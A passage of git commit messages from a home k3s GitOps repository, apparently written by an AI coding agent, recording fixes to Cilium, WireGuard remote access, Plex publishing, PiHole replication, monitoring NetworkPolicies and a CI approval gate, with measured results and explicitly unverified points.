Both reported by the operator on first use of the runbook merged in #55.
Step 1 said `cd infra/ansible && ./site.sh --tags system --limit k3s_prod`.
There is no site.sh anywhere in this repo. It was wrong four ways at once:
this repo drives Ansible with `ansible-playbook <playbook>` and never a
wrapper (playbooks/site.yml is the full bring-up chain, not this); the module
work is in playbooks/node-baseline.yml; targeting here is `-e k3s_hosts=...`,
not `--limit`; and Ansible exists only in the pinned toolbox, with ansible.cfg
read only from infra/ansible. Replaced with the real command plus why
`-e k3s_hosts=k3s_prod` matters (the default group is decommissioned dev) and
why `--tags system` must never be dropped (an untagged run also executes the
`disks` tasks, which assert on prod's deliberate placeholder devices).
Step 2 told the operator to stage the server key at /work/.cache/server.key
"inside the repo's gitignored cache". .cache/ is NOT gitignored -- the file was
ignored only incidentally by `*.key` (.gitignore:11). So the path was safe for
a reason I had not identified, and renaming it (server.pem, wg-server) would
have left a committable WireGuard private key in the checkout, which
no-plaintext-secrets does not recognise. The step now names the real rule,
marks the suffix as the load-bearing part, and gives a check-ignore
verification to run before trusting it.
Docs only -- no manifest and no behaviour change. Touches no sensitive path.
Also records the post-merge measurements for #55, whose own entry predates the
merge: Flux applied ad3f56e by the real path, all 18 Kustomizations Ready,
hostNetwork confirmed (pod IPs are the node IPs), and the designed fail-closed
state (Init:0/1 on the missing wg-server-key Secret).
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Agents have been working in the operator's checkout and clobbering each other.
Nothing in the tree told them not to: worktrees appeared in CLAUDE.md only as
§3's gate workarounds, and decisions/README.md described worktree isolation as
something agents already do rather than as a rule.
New CLAUDE.md §0 states the rule, with the commands and an explicit do-not list
for the shared checkout. Placed before §1 so every existing §-reference in the
repo keeps its meaning.
Measured in the shared checkout on 2026-10-05, each row a distinct failure mode:
107 `checkout: moving` reflog entries; sitting on feat/pm-agent-issue-to-pr, not
main; two other runs' untracked trees left in it; local main two commits behind
origin/main; 42 registered worktrees of which 31 are on already-merged branches;
9 gate scripts carrying a `.claude/` exclusion because an in-tree worktree made
find-based discovery count the same manifest up to 18 times.
Corrects a claim carried in earlier briefs: `git worktree remove` is NOT blocked
by the agent sandbox. Provoked on a throwaway worktree — rc 0.
§3 reframed as the normal path and grown from two breakages to three:
spec-immutability's skip is avoidable, not merely tolerated, with the spec repo
mounted read-only in the same ENGINE shim plus -e SPEC_REPO=/home-network-k3s.
CLAUDE.md is a sensitive path, so this PR needs a non-author review or an
administrator /approve-override posted as a PR review. Not posted by me: §1
forbids an agent clearing that on its own PR.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Lets the operator's Android / Linux / Windows / macOS devices dial in from
anywhere and behave like LAN machines: full reach to 192.168.2.0/24 plus
internet egress out the house WAN. Opposite direction to platform/vpn-egress,
which sends pods OUT through PIA; the two share nothing but the word "VPN".
WireGuard because it is the only option with a first-party client on all four
named platforms, and because its handshake MAC is keyed with the responder's
own public key: an unauthenticated packet gets NO reply, so udp/51820 is
indistinguishable from a closed port. That, not "it is encrypted", is what
makes an unfiltered WAN port defensible, and why there is no source allowlist.
hostNetwork: true is REQUIRED, not convenient. A pod-networked server must SNAT
clients to its own pod IP, so every remote client would carry that pod's Cilium
identity -- and a pod-sourced request to the shared Gateway VIP returns 403 from
Envoy for ALL 16 hostnames (measured 2026-10-04), because Cilium's Gateway
preserves the original source identity and enforces the destination's ingress
policy. The obvious build would have shipped a healthy-looking tunnel on which
every cluster web UI was 403 and *.home.keithjackson.dev did not even resolve.
In the host netns traffic is SNATed to the node and arrives as host/remote-node,
exactly like a LAN client. It also sidesteps the unsafe ip_forward sysctl, the
L2-announcement lease lottery, and double encapsulation (hence MTU 1420).
Permitted by restrict-host-namespaces' own carve-out for platform namespaces.
The cost is stated in networkpolicy.yaml rather than papered over: no
NetworkPolicy constrains a hostNetwork pod.
A DaemonSet so the hand-made WAN forward cannot be invalidated by a reschedule;
all three nodes answer the same keys, so failover is a one-line router change.
Peer PUBLIC keys are plaintext in peers.yaml, which makes "who can get into my
house" a reviewable PR diff. The only secret -- the server's private key -- is
an out-of-band Secret: an agent must not mint a long-lived private key, and the
two halves are joined only at pod start into a tmpfs that dies with the pod.
Ships INERT-BUT-HEALTHY with zero peers. THREE off-repo manual steps remain
(kernel module, server key, WAN forward) -- runbooks/vpn-remote-access.md.
Touches clusters/** , so ci/approval-policy.sh will block pending the
operator's /approve-override. Deliberately not posted by me (CLAUDE.md §1).
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
A merged Cilium config change did nothing, and everything reported success.
The Hubble flow exporter (#50, merged 2026-10-04) never took effect:
HelmRelease cilium Ready=True, "Helm upgrade succeeded ... cilium.v6"
cilium-config hubble-export-file-path: stdout + the allowlist, PRESENT
cilium agent pods all three still PRE-MERGE, startTime 2026-10-04T07:11Z
exported flow lines 0, 0, 0
Flux every Kustomization Ready=True
Cause: the chart's rollOutCiliumPods defaults to false, so Helm rewrites the
ConfigMap and leaves the DaemonSet's pod template untouched -- and cilium-agent
reads that ConfigMap only at STARTUP. Merged, believed delivered, green
everywhere, doing nothing. The same class of failure this repo already guards
against elsewhere: a green signal over something that never ran.
Confirmed by contrast rather than reasoned: the cgroup fix (#42) DID apply --
both the DaemonSet and the running pod mount /sys/fs/cgroup -- because it changed
the POD TEMPLATE, which rolls the DaemonSet on its own. That also explains why
the agents are dated 2026-10-04T07:11Z: that was #42's rollout, and nothing has
rolled them since. The inertness is specific to ConfigMap-only changes.
Set in all three value files to hold the [parity] contract.
Cost, and it is the point: every future Cilium config change now rolls the
agents instead of waiting for a manual restart. Strictly more honest -- it
applies when merged or fails visibly -- but config edits become disruptive by
default. maxUnavailable: 1 bounds it to one node at a time. The lease-holding
node briefly loses the Gateway, PiHole-DNS and Plex VIPs as it cycles, so merge
at a quiet moment.
Merging this IS one rollout (the ConfigMap checksum annotation changes the pod
template) -- which is what finally activates the Hubble exporter.
UNVERIFIED: unreconciled; `filePath: stdout` still unproven and only answerable
after the agents restart (check for flow lines immediately); and the rollout's
actual impact on LAN DNS is unmeasured.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
PR #49 (merged 21c88b0) fixed the blocked scrape and it is verified working on prod
2026-10-05: all 6 targets up == 1, health=up, lastError='', lastScrapeDuration 0.001-0.006s
against 10.0s and "context deadline exceeded" before. oauth2_proxy_* is in the TSDB for
these namespaces for the first time (5 metric names, 148 series).
Four places in the tree still asserted the pre-fix state as current, in the present tense,
in the files a reader consults first:
platform/oauth2-proxy/podmonitor.yaml "READ THIS BEFORE BELIEVING THE TARGETS ARE UP:
THE SCRAPE IS CURRENTLY DENIED BY NETWORKPOLICY" and "SO THE TARGETS BELOW WILL READ
up == 0 UNTIL AN INGRESS ALLOWANCE LANDS". The first actively instructs the reader to
disbelieve a correct up == 1. Now a STATUS block with the post-fix numbers, with the
diagnosis kept below it under an explicit HISTORY heading because it is why the fix is
shaped the way it is.
catalog/render.py:159 "THIS IS THE PREREQUISITE ONLY, AND IT IS NOT YET SCRAPED".
catalog/render.py:1365 the same claim on the sidecar arg.
platform/oauth2-proxy/README.md its subsections are dated and so are honest records, but
a reader hits the stale body long before any correction. A SUPERSEDED pointer now sits
under the heading and an Update 2026-10-05 section carries the before/after.
The "not scraped" claims are corrected; the "a flag alone is not enough" warning is KEPT
deliberately, because that part is still true and "flag without ingress allowance" is
exactly what caused the 63.7h outage.
Two substantive errors fixed while there, not just tense. The README's "three things are
needed" listed a Service port and a ServiceMonitor — wrong, a PodMonitor targets pod ports
directly, which is why no Service exposes 44180 and the renderer needed no Service change;
following it would have sent someone to edit Service rendering for nothing. And
podmonitor.yaml deferred the fix to "the catalog/renderer, in flight on another branch" —
no such branch existed; it now names r_monitoring_ingress_policy, with a new CRAFTY section
explaining the one namespace this file cannot help.
Comments only in render.py, so the rendered output is byte-identical: no apps/ file and no
golden changes, and therefore no sensitive path and no human approval needed — the opposite
of the PR this documents.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
I took Plex down for the whole LAN. ADVERTISE_IP was
http://plex-vip.${BASE_DOMAIN}:32400 -- a name that exists ONLY in PiHole's
split-horizon answers and in no public zone.
A Plex client resolves the advertised host ITSELF, with whatever resolver it
uses, and on a real LAN that is frequently not PiHole: browsers ship DoH on by
default, phones have "private DNS", guest/IoT devices take the router's DNS.
Those clients could not resolve the name, the router answered the failed lookup
with ITSELF, and they all landed on its web UI -- hence the %D certificate.
Measured 2026-10-05:
192.168.2.1:443 -> C=ZZ, O=%D342e7e6b, CN=%D (router, LAN side)
136.51.115.252:443 -> the same %D cert (router, WAN side)
pihole-0 AND pihole-1 -> plex -> .20, plex-vip -> .24 (both CORRECT)
gateway .20:443 -> CN=*.home.keithjackson.dev, valid
http://192.168.2.24:32400/identity -> 200
Plex's published connections: all port 32400, nothing on 443
The DNS was right; the DEPENDENCY on it was the bug. And since nothing Plex
advertises listens on 443, the clients had left the Plex path entirely.
Fix: <dashed-ip>.<serverhash>.plex.direct, which is RESOLVER-INDEPENDENT -- a
public zone returning the private address embedded in the label, so every
resolver (PiHole, the router, 1.1.1.1, a DoH browser) answers it with
192.168.2.24. No split-horizon entry, no Cloudflare record and no certificate
work needed: the wildcard cert Plex already serves on 32400 covers that name.
Re-verified today with full validation (no curl -k): 200, TLS verified.
The nicer hostname cannot be made correct for clients that bypass PiHole -- a
public record resolves to the WAN address and there is no NAT hairpin, so it is
right only for PiHole users and wrong for the rest. There is no configuration of
it that is right for both. PiHole's plex-vip answer is KEPT; it is just not what
Plex advertises.
Cost restated, not buried: the value embeds the VIP and the cert hash as a
literal and nothing checks they still agree. Accepted because an unresolvable
name is a worse failure -- silent, LAN-wide, and it points users at the router.
UNVERIFIED: unreconciled, and the client-side resolver path is INFERRED -- my
public-resolver probe was broken (NXDOMAIN even for a name that resolves) so I
discarded it. The chain is the only explanation consistent with the
measurements, but the NXDOMAIN-hijack step was not observed directly.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
I broke the app tier with #48. Two faults, both mine, both measured after merge:
1. KYVERNO BLOCKS cert-manager IN APP NAMESPACES. The temporary private-key
Secrets (plex-vip-<random>) were denied by
secret-provenance/secrets-must-be-flux-managed, which matches every Secret in
a namespace labelled homelab.keithjackson.dev/app-namespace=true and excludes
only those labelled secret-managed-by=controller or carrying a Flux label.
`plex` HAS that label; `gateway` -- where the working wildcard cert lives --
does NOT. That asymmetry is why the existing Certificate was never affected
and mine was, and I did not check it. secretTemplate cannot fix it: those
Secrets come from the keymanager controller, not the Certificate template. So
no CertificateRequest, Order or Challenge was ever created.
2. FLUX HEALTH-CHECKS THE CERTIFICATE. `optional: true` did its job -- the pod
rolled and ran fine without the Secret -- but apps-wave-0 is wait:true, so
Flux waits on the Certificate OBJECT:
timeout waiting for: [Certificate/plex/plex-vip status: 'InProgress']
apps-wave-0 never went Ready; wave-1/-2 and everything downstream of
platform-config sat in DependencyNotReady behind it. I guarded the pod and
missed the object. That distinction is the whole bug.
Third, independent: the advertised URL was https with no servable certificate --
Plex answers 32400 with its *.plex.direct cert, which cannot cover plex-vip --
the exact failure mode of the outage earlier the same day.
So: delete the Certificate (pruning it clears the health gate) and advertise
http://plex-vip:32400, which is MEASURED to work today -- PiHole answers the
name with the Plex VIP (verified against pihole-0) and Plex serves 32400 there.
http is explicitly temporary and only tolerable because remote access does not
work yet; the restore condition is written at the call site.
DELETED, not merely unregistered: my first attempt kept the file as "tracked but
not onboarded" and the gate rejected it -- tls-lifecycle-automated (R-TLS-02)
fails any Certificate no Flux path reconciles. Legal for a Deployment, not for a
TLS object. The re-enable recipe (Kyverno exemption + a wait:false Kustomization
+ the https flip, as ONE change) is recorded in catalog/plex.yaml.
Kept and verified working from #48: the hostname design, PiHole's split-horizon
answer, and the postStart hook -- LanNetworksBandwidth is now set live.
Gate: rc 3, all substantive stages pass (first attempt was rc 1 BLOCKED).
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The requirement is log visibility only -- which address connected to Plex.
Plex's own log cannot show it. Every LoadBalancer Service here is
externalTrafficPolicy: Cluster, so the node holding the VIP's L2 lease SNATs
the client before forwarding to the backend pod. Measured: Plex had logged
3,214 requests from 10.0.1.x (lease holder k3s-prod-3's own address, Cilium
identity 1 = reserved:host) and ZERO from any 192.168.x address, ever. No
X-Forwarded-For either -- it serves raw tcp/32400, not HTTP via the Gateway.
Nothing on the router does this; there is no hairpin NAT. It is Cilium.
The address is not lost, only unrecorded. Cilium observes the flow at ingress,
BEFORE its own translation, so Hubble already has it:
192.168.2.133 -> 10.0.0.135 real LAN client -> the Plex pod
10.0.1.78 -> 10.0.0.135 same traffic post-SNAT, what Plex sees
What was missing is RETENTION: 4095/4095 flows at ~303/s is about thirteen
seconds of history, metrics disabled, no exporter configured.
So enable the static exporter, port-scoped, to the agent's stdout -- Alloy
already tails every pod into Loki, so this needs no new mount, no rotation
handling and no Alloy change.
{namespace="kube-system", app="cilium"} |= "32400"
Scoped BY PORT, not namespace, on evidence: --to-namespace plex returned only
the post-SNAT flows; the record carrying the real client address did not match
it. A namespace filter would drop exactly what this exists to capture.
Rejected, with reasons: eTP:Local is incompatible with cilium 1.20's L2
announcer per upstream docs for this version ("may cause service IPs to be
announced on nodes without pods causing traffic drops") -- and the VIP is on
prod-3 while the pod is on prod-1, so it would black-hole 32400 immediately;
making it safe costs Plex its ability to reschedule. DSR: routing-mode is
vxlan, not native/geneve, and DSR returns bypass the ingress node, breaking
the router's stateful NAT on the remote path.
Also corrects the repo's own record: 2026-10-03 says the SNAT lands in
192.168.0.0/16 (the node's LAN address). It is 10.0.1.x, the cilium_host
inside the pod CIDR -- which is why LanNetworksBandwidth can never separate
local from remote while eTP is Cluster.
UNVERIFIED and stated in the handoff: nothing is reconciled; `filePath: stdout`
is taken from a verbatim upstream sentence but not confirmed against 1.20.1
source (a wrong notation is a silent no-op, with the file+Alloy fallback
documented); the port FlowFilter has no upstream example; and this change
ROLLS CILIUM -- prod-3 announces the Gateway, PiHole DNS and Plex VIPs, so a
lease move during the rollout could briefly interrupt LAN DNS.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
platform/oauth2-proxy/podmonitor.yaml landed 2026-10-02 and discovered six targets that
have never once scraped. Measured on prod 2026-10-04: all six read health=down with
lastError "context deadline exceeded" and lastScrapeDuration exactly 10.0s — the
configured scrapeTimeout, i.e. packets DROPPED rather than refused.
Cause: every app namespace ships a default-deny NetworkPolicy with
policyTypes: [Ingress, Egress] and NO ingress key at all (deny-all-ingress), and the only
ingress allowance is <app>-allow-gateway-ingress: fromEntities: [ingress] -> 4180.
Prometheus matched no clause. Verified identical in all six of jackett, radarr, sonarr,
qbittorrent, pihole, crafty; zero namespaces had any -allow-monitoring-scrape object.
render.py already had the right idiom — r_monitoring_ingress_policy — but it returned None
unless the service declared observability.metricsEndpoint, and NO ServiceDefinition in this
catalog declares one. It was wired in at the call site and had never emitted a single
object on any branch: correct, and entirely latent.
It now also fires for the forward-auth gate sidecar's own metrics port, keyed on
_needs_oauth2_sidecar — deliberately the same condition the scrape keys on, since
podmonitor.yaml selects pods purely by the auth-mode label, so a target exists iff the
sidecar exists. Keying on observability.metrics instead would let metrics: false produce a
discovered-but-blocked target: the same "two halves authored apart" failure this function
exists to prevent.
Rendered here rather than in platform/oauth2-proxy because that tier would have to name app
namespaces created by the sibling apps-wave-0/1 tiers — it would apply on a running cluster
and fail on a cold bootstrap. podmonitor.yaml's header records that objection; rendering
per-app dissolves it.
Five CNPs result, one per forward-auth app, each opening only 44180 to only ns monitoring.
apps/ re-rendered with the invocation it was generated by (--no-image-automation, verified
byte-identical beforehand); --emit-waves deliberately not run, so no wave kustomization moved.
Three L1 goldens are regenerated with it (+63 lines, -0): a renderer change that adds an
object necessarily drifts the goldens that pin the renderer's output. The first gate run
caught container-workload-render and egress-class-render as FAIL with exactly this CNP as
the drift. default-deny-baseline-render's golden regenerated byte-identical, which is the
evidence that the regen is faithful and not a rubber stamp.
That puts conformance/** in the diff, which is a sensitive path: this PR needs a non-author
approving review. The local gate cannot see that — offline it reports approval-policy green
(N/A).
Local toolbox gate: rc 3 UNDETERMINED, not 0. Every stage that ran is green and l1 went
FAIL -> pass with the goldens; the only not-run stage is gitea-settings (no
GITEA_SETTINGS_TOKEN). L2/L3 conformance is UNVERIFIED for all 8 touched requirements.
Not verified: that the scrape now succeeds. Nothing is applied until Flux reconciles main.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Two symptoms after the publishing fix landed:
1. LAN clients were reported as Remote. Measured root cause:
LanNetworksBandwidth was ABSENT, so Plex had no notion of a local
network and classified everything WAN -- 468 requests logged
"Allowed Network (WAN)", ZERO "(LAN)", including Seerr from inside the
cluster. allowedNetworks only waives AUTH; it does not make a client
local. Two settings, and only one has an env hook.
2. The advertised URL hard-coded both the VIP and the server's cert hash
into a cluster-var -- two values nothing kept in sync.
Operator design: ONE hostname, plex-vip.${BASE_DOMAIN}, split-horizon --
PiHole answers it with ${PLEX_L4_VIP} on the LAN, Cloudflare answers it
publicly with the WAN address NATed to the same VIP.
- catalog/plex.yaml: ADVERTISE_IP -> https://plex-vip.${BASE_DOMAIN}:32400,
plus a level-triggered postStart hook (pihole/qbittorrent idiom) that
re-asserts LanNetworksBandwidth and the three customCertificate* prefs
every start, converting PEM -> PKCS#12 so cert renewals need no extra part.
- apps/wave-0/plex-cert.yaml: cert-manager Certificate for exactly that
name from letsencrypt-prod, so the advertised https URL is servable.
- schema 1.11.0: `optional` on secretKeyRef/configMapKeyRef. Load-bearing --
the cert is issued INTO the plex namespace, which the rendered plex.yaml
itself creates, so it lands in the same reconcile; hard refs would have
held Plex in CreateContainerConfigError and, since apps-wave-0 is
wait:true, stalled the whole app tier on a slow DNS01 challenge.
- catalog/pihole.yaml: the plex-vip split-horizon answer. Required --
measured, the name resolved to the Gateway VIP where nothing listens
on 32400 (http=000).
- PLEX_ADVERTISE_URL deleted; the hostname removes the cert-hash fragility.
Corrects my own earlier claim that a SAN match is REQUIRED: it is not
(httpsRequired=0, secureConnections defaults to Preferred, so clients can
fall back to cleartext). A matching cert keeps the remote leg ENCRYPTED.
Hence: obtain a real cert for the advertised name rather than pick the name
to suit Plex's built-in one.
UNVERIFIED, and stated plainly in the handoff: nothing here has run. Cert
issuance for this name is inferred from the wildcard's success, and whether
Plex accepts an OpenSSL-3 PKCS#12 bundle is untested -- the largest risk.
Touches clusters/** -> sensitive paths -> needs a non-author approval or the
operator's /approve-override; deliberately not self-posted (CLAUDE.md 1).
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
customConnections held two hand-typed URLs and neither could ever complete, so
Plex had nothing publishable and the server disappeared from the account:
- https://192.168.2.24:32400 -- the server's cert is
*.130072f20c334d6c8f63d0dfef87309b.plex.direct with NO IP SAN, so bare-IP
https fails TLS for every client. Measured: a continuous storm of
"CERT: incomplete TLS handshake ... certificate unknown" from real LAN
clients arriving through the plex-l4-tcp VIP.
- https://plex.home.keithjackson.dev:32400 -- nothing listens; the Gateway
serves that host on 443 (measured http=000 against 192.168.2.20:32400).
With no completable connection plex.tv published nothing ("Mapped - Not
Published"), Plex fell back to Relay, and clients reported "not authorized".
Fix: advertise <dashed-ip>.<serverhash>.plex.direct -- public DNS that resolves
to the embedded address, so it points at the LAN VIP and matches the wildcard
cert. Verified with full TLS validation (no curl -k): 200 + verify OK, where
the bare-IP form fails to connect.
Declared as ADVERTISE_IP so git owns the value instead of a web form: the
image's 40-plex-first-run writes it into customConnections on every pod start,
outside the claim guard.
Does NOT fix off-LAN access -- the advertised address is RFC1918 and the WAN
tcp/32400 forward remains unverified. ManualPortMappingMode=1 with an absent
port is left as-is (no GitOps path exists for it).
Touches clusters/** -> sensitive paths -> needs the operator's
/approve-override, deliberately not self-posted (CLAUDE.md 1).
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
No manifests change. The three entries merged earlier today each say, correctly
at the time, that nothing had been reconciled -- which is now stale in exactly
the way CLAUDE.md section 2b warns about: a reader would conclude the work is
unproven. This entry is the current state and does not edit the earlier files.
Measured on live prod after dce20b7: apps-wave-0 reconciled in ~90s (inside the
5m timeout the multi-replica entry flagged as a risk); pihole-0 on k3s-prod-3
and pihole-1 on k3s-prod-2, so the required anti-affinity was satisfied; both
per-replica claims Bound; the old Deployment and the old unused PVC both pruned;
PDB healthy with one disruption allowed.
The mountPath fix is confirmed: /etc/pihole is now on /dev/longhorn with 6.9M
used on both pods, where it was previously on the overlay.
Phase 1's declarations reproduce onto a FRESH volume, which was the whole reason
for sequencing it first: 72,234 gravity domains rebuilt on each replica from the
declared adlist, and the declared SOPS secret authenticates on BOTH pods
("valid":true via each container's own env, value never printed).
FAILOVER DRILL, observed by the operator: a replica was deleted, recreated in
~30 seconds, and DNS never dropped a request. First direct evidence the replica
count delivers what it was added for.
Re-deriving the SLI from the rendered workload kind mattered concretely: the
StatefulSet series returns 2 while the old Deployment series now returns ZERO
series, so a stale Deployment-shaped rule would have matched its own absent()
branch and fired permanently -- a standing false page.
Still unverified and stated as such: node failure (the drill deleted a pod, so
the 300s toleration path is untouched), DNS during the cutover itself, two-node
loss, and the cluster-wide dependency that replicas cannot address.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Phase 2 of making LAN DNS survive a node failure. Pihole was one pod on one
node; measured 2026-10-04, losing that node meant roughly 6-10 minutes with no
LAN resolution (tolerationSeconds 300 + NotReady detection + a Longhorn RWO
force-detach), while losing the node holding the pihole-dns L2 lease -- a
DIFFERENT node -- meant tens of seconds. Two of three nodes were single points
of failure with wildly different blast radii.
Adds `availability.replicas` to the ServiceDefinition schema (1.10.0). Intent
only; the mechanism is render.py's, documented in the renderer contract. 1 or
absent renders a Deployment exactly as before -- verified byte-identical across
the whole apps/ tree. >1 renders a StatefulSet (a longhorn PVC is RWO, so a
multi-replica Deployment never schedules the second pod), per-replica
volumeClaimTemplates, REQUIRED hostname anti-affinity, podManagementPolicy
Parallel, a minAvailable:1 PodDisruptionBudget, and an SLI that follows the
rendered kind (a Deployment-shaped rule against a StatefulSet absent()s forever).
Pinned by ~20 new --selftest assertions rather than a conformance change.
ALSO FIXES A LIVE BUG. Pihole's config PVC was mounted at the renderer default
/data/config, but pihole writes to /etc/pihole. Measured: /etc/pihole (7.1M --
gravity.db, pihole.toml, query DB) was on the OVERLAY, while the 2Gi Longhorn
volume held lost+found and 24K of nothing. So every restart discarded all state
and re-downloaded 72k gravity domains, and backup.policy has been backing up an
empty volume while reporting success. Fixed here because otherwise the new
per-replica volumes would hold nothing while state stayed ephemeral -- and
because persisting gravity.db is what makes a restart cheap.
The /etc/pihole mount is safe on the image's own evidence: start.sh is PID 1 as
uid 0 and chowns the directory recursively (no fsGroup needed), and it calls
migrate_gravity which creates the database when absent.
The gate caught a real regression on the first run: the wave-0 alert unit test
fed pihole a Deployment-shaped series. Updated; promtool SUCCESS.
Touches no sensitive paths, so this one needs no override.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Prerequisite for running more than one PiHole replica. A second replica with a
fresh PVC would have come up serving DNS and blocking nothing, with a different
admin password -- answers varying by which pod replied.
pihole.toml's own ### CHANGED markers gave the exact inventory: four settings
already came from env (declared), one came from the image, and exactly ONE
operator-set value lived only on the PVC -- webserver.api.pwhash, a one-way hash
nobody could recover. Separately the adlists were undeclared: one list and 72,234
gravity domains that nothing in this repo named.
Declares both:
- A SOPS secret feeding FTLCONF_webserver_api_password. webserver.api.password
takes cleartext and FTL hashes it itself (verified: pihole setpassword IS
setFTLConfigValue on that key), so the PVC's pwhash becomes derived state.
- A level-triggered postStart hook that reconciles the declared adlist set into
gravity.db -- adds, re-enables, and disables (never deletes) undeclared lists,
running pihole -g only when something moved. A file would not work: v6's
adlists.list import is migration-only, guarded on the DB not existing.
The rendered hook was run in the live pod against throwaway copies of gravity.db,
exercising all four paths. A fresh DB built from the image's own schema template
has ZERO adlists, confirming this is load-bearing rather than cosmetic.
Password kept rather than set empty: the pihole Service still publishes port 80
past the oauth2-proxy, closed only by policy, and default-deny has drifted here
before.
Multi-replica is phase 2 and deliberately not in this branch -- it needs a schema
field, a StatefulSet (the config PVC is RWO), anti-affinity and a PDB.
Adds a *.sops.yaml -- a sensitive path -- so approval-policy will block pending
an operator /approve-override.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Remote Plex clients had no path in, for two measured reasons: Plex advertised
no remote connection at all (customConnections and ManualPortMappingMode both
ABSENT while PublishServerOnPlexOnlineKey=1), and its Service was ClusterIP, so
32400 had no off-cluster path. The L7 Gateway was NOT the problem -- it serves
Plex correctly (200, claimed=1, 401 on protected endpoints) -- but Plex clients
discover servers through plex.tv, not DNS, so an HTTPRoute cannot put this
server on a client's connection list.
Operator chose the native path over ADVERTISE_IP: Plex terminates its own TLS
with *.plex.direct and streams bypass the Envoy L7 hop.
Adds a hand-written non-catalog unit (the SD schema cannot express a
LoadBalancer Service or a pinned lbipam VIP), registered in render.py's
EXTRA_UNITS so --emit-waves places it in plex's own wave.
externalTrafficPolicy: Cluster, inheriting crafty's 8-day-outage lesson rather
than re-deriving it. Known consequence, documented: SNAT puts remote clients
inside ALLOWED_NETWORKS, so Plex meters them as LAN. Not an auth change.
Remote access does NOT work until the operator does two manual steps that
cannot live in this repo -- the WAN tcp/32400 forward and Plex's "manually
specify public port" toggle (no env var exists for it; verified NONE in the
image's init surface). runbooks/plex-remote-access.md is the procedure.
Touches clusters/** -- a sensitive path -- so the approval-policy stage will
block pending an operator /approve-override.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
hostRoot was /run/cilium/cgroupv2 with autoMount disabled, but nothing
mounts cgroup2 there. The agent mounted one from inside its own private
cgroup namespace, so socket-LB attached to the agent's own cgroup and
host processes got no Service/LB translation. k3s-prod-1 (Gateway L2
lease holder + kube-vip VIP) therefore could not reach the Gateway VIP,
and its apiserver's OIDC authenticator has failed since 2026-09-12.
Co-Authored-By: Claude Opus 5.5 <[email protected]>
After public DNS moved to the WAN IP (#40), prod nodes resolve
keycloak.home.keithjackson.dev to a WAN address the router does not
hairpin, so the apiserver could not reach its OIDC issuer. Adds an opt-in
node_baseline_hosts_pins /etc/hosts block; prod pins keycloak to
GATEWAY_VIP.
Co-Authored-By: Claude Opus 5.5 <[email protected]>
Gateway-published records now CNAME to wan.${BASE_DOMAIN}, which a
favonia/cloudflare-ddns Deployment keeps at the home WAN's current public
IP. Operator decision: every Gateway-published name goes public; internal
services (controller: none) remain unpublished.
Co-Authored-By: Claude Opus 5.5 <[email protected]>
Read PR #39's own gate log rather than the tick (CLAUDE.md §2b). Every stage
this branch could affect is green: decisions-log, lint, l0, render-golden, l1,
and approval-policy (which evaluated for real on the pull_request event and
passed — no sensitive path touched). The one failure is `gitea-settings`:
required_approvals: DECLARED 1 but LIVE is 0
Gitea has DRIFTED from infra/gitea/expected-branch-protection.json
Every other declared setting matched, and one runner is online. So live `main`
currently requires ZERO approvals while the declaration says 1, and because
.gitea/workflows/gate.yml sets REQUIRE_GITEA_SETTINGS=true, that drift blocks
EVERY PR in the repo, not only this one. The check that would notice approvals
are unenforced is the check that is failing.
Not touched here: infra/gitea/** is a sensitive path (non-author approval
required) and outside this branch's documentation-only scope. Re-asserting the
protection or changing the declaration is an operator decision in its own PR;
local branch fix/admin-approval-override (616a497) looks like that work in
flight.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
The override did not work on its first real test, and the reason was invisible
from the outside. Run 203 on PR #38: a well-formed `/approve-override` posted by
jakman85 in the PR comment box, 29 minutes newer than the head commit, and the
stage still blocked with:
approval-override: COMMENTS_JSON is not a list
SETTINGS_API_TOKEN is minted [read:repository, read:admin], and Gitea puts
/issues/{n}/comments behind the *issue* scope — so Gitea answered with an error
OBJECT, `jq -e .` accepted it as valid JSON, and the stage fell through to 'no
approving review'. A permission failure wearing the costume of a missing
override. /pulls/{n}/files and /pulls/{n}/reviews are under read:repository,
which is why every other part of the same stage worked.
1. The diagnosis no longer lies. COMMENTS_JSON leaves the must-parse-or-block
loop and is checked for being an ARRAY; when it is not, the stage prints
Gitea's own .message, names the missing scope and says where to post instead.
An unreadable source can only cause a false BLOCK, never a false pass, so a
loud warning is the honest behaviour and blocking was not.
2. An override is accepted from a PR REVIEW body as well as a comment, so the
hatch is not hostage to one API scope — a review of type 'Comment' works on
the token CI has today. The gate names which source it used; PENDING
(unsubmitted, author-only) reviews are dropped.
3. set-ci-token.sh requests read:issue, making the ordinary comment box work —
on a RE-RUN only, since an existing token's scopes cannot be widened.
ci/tests/approval-override.test.sh: 23 -> 38 assertions, covering the reviews
source, PENDING reviews, an error object from the comments API, 'an unreadable
comments source must not suppress a valid review override', latest-wins across
both sources, and that the diagnostic quotes Gitea's message.
Also measured and recorded: run 203 shows gitea-settings PASS after the operator
ran the live PATCH, with block_admin_merge_override still true — the narrow
change held, the approval count moved and the gate's teeth did not.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
Hardware transcoding is confirmed working on prod (2026-10-02): VAAPI for both
decode and encode on /dev/dri/renderD128, with zero-copy, measured in
`Plex Media Server.log` in the running pod. The device-plugin mechanism from #37
works end to end.
`runbooks/plex-quicksync.md` said the Plex dashboard showing `Transcode (hw)` was
"the *only* proof available, and nothing else will ever tell you". That is false:
Dashboard -> Activity showed nothing while the feature was fully working, so the
page's authoritative check was silent on a healthy system and sent the operator
hunting a fault that did not exist.
Three inference errors corrected, two kept as named false leads:
1. The LOG is the primary check, not the dashboard. The grep ships in its
REDACTING form -- that log carries API URLs with `X-Plex-Token` (CLAUDE.md §6).
Also recorded: `Plex Transcoder Statistics.log` is the WRONG file (XML
<Variant/> records, no ffmpeg output), and why `grep -a` is required. The
dashboard is kept but demoted to best-effort, with its silence stated to prove
